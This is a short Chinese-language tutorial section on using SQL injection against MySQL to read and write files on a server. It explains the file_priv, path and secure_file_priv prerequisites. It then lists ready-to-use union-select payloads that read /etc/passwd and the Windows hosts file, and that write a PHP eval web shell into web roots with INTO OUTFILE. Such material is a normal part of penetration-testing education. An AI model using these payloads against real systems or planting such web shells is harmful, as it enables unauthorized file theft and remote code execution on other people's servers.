第四节SQL注入读写文件
-
掌握SQL 注入读写文件的原理
-
掌握SQL 注入读写文件的方法
4.1前提条件
4.1.1权限问题
当前(连接)数据库的用户具有文件读写权限。数据库的权限粒度,某个库中某个表某个用户是否有增删改查权限。
MySQL 数据库用户,例如root@localhost,由两部分组成:
-
用户名
-
地址
# root@localhost
and 1=2 union select 1,file_priv,3 from mysql.user where user='root' and host='localhost'
4.1.2文件路径
已知读写目标文件的绝对路径。
/var/www/
/var/www/html/
c:/phpstudy/www/
c:/xampp/htdocs/
...
4.1.3安全选项
MySQL 数据库有关于文件读写的安全选项secure_file_priv。
secure_file_priv 参数限制了mysqld(MySQL DBMS) 的导入导出操作,这个选项是不能利用SQL 语句修改,必须修改my.ini 配置文件,并重启mysql 数据库。
show global variables like '%secure_file_priv%';
参数值说明
参数 | 含义 |
---|---|
secure_file_priv=NULL | 限制mysqld 不允许导入导出操作。 |
secure_file_priv=‘c:/a/’ | 会限制mysqld 的导入导出操作在某个固定目录下;并且子目录有效。 |
secure_file_priv= | 不对mysqld 的导入导出操作做限制 |
4.2 读写文件
4.2.1读取文件
使用load_file() 函数。
and 1=2 union select 1,load_file("c:\\windows\\system32\\drivers\\etc\\hosts"),3
and 1=2 union select 1,load_file("c:/windows/system32/drivers/etc/hosts"),3
and 1=2 union select 1,load_file("/etc/passwd"),3
4.2.2写入文件
使用into outfile 语句。
and 1=2 union select 1,2,3 into outfile "c:/phpstudy_2016/www/1.php"
and 1=2 union select 1,"<?php @eval($_REQUEST[777]);phpinfo()?>",3 into outfile "c:/phpstudy_2016/www/2.php"
and 1=2 union select 1,"<?php @eval($_REQUEST[777]);phpinfo()?>",3 into outfile "/var/www/html/1.php"
and 1=2 union select 1,"<?php @eval($_REQUEST[777]);phpinfo()?>",3 into outfile "/tmp/1.php"
Linux 系统下,一般情况下权限较低,无法写入文件。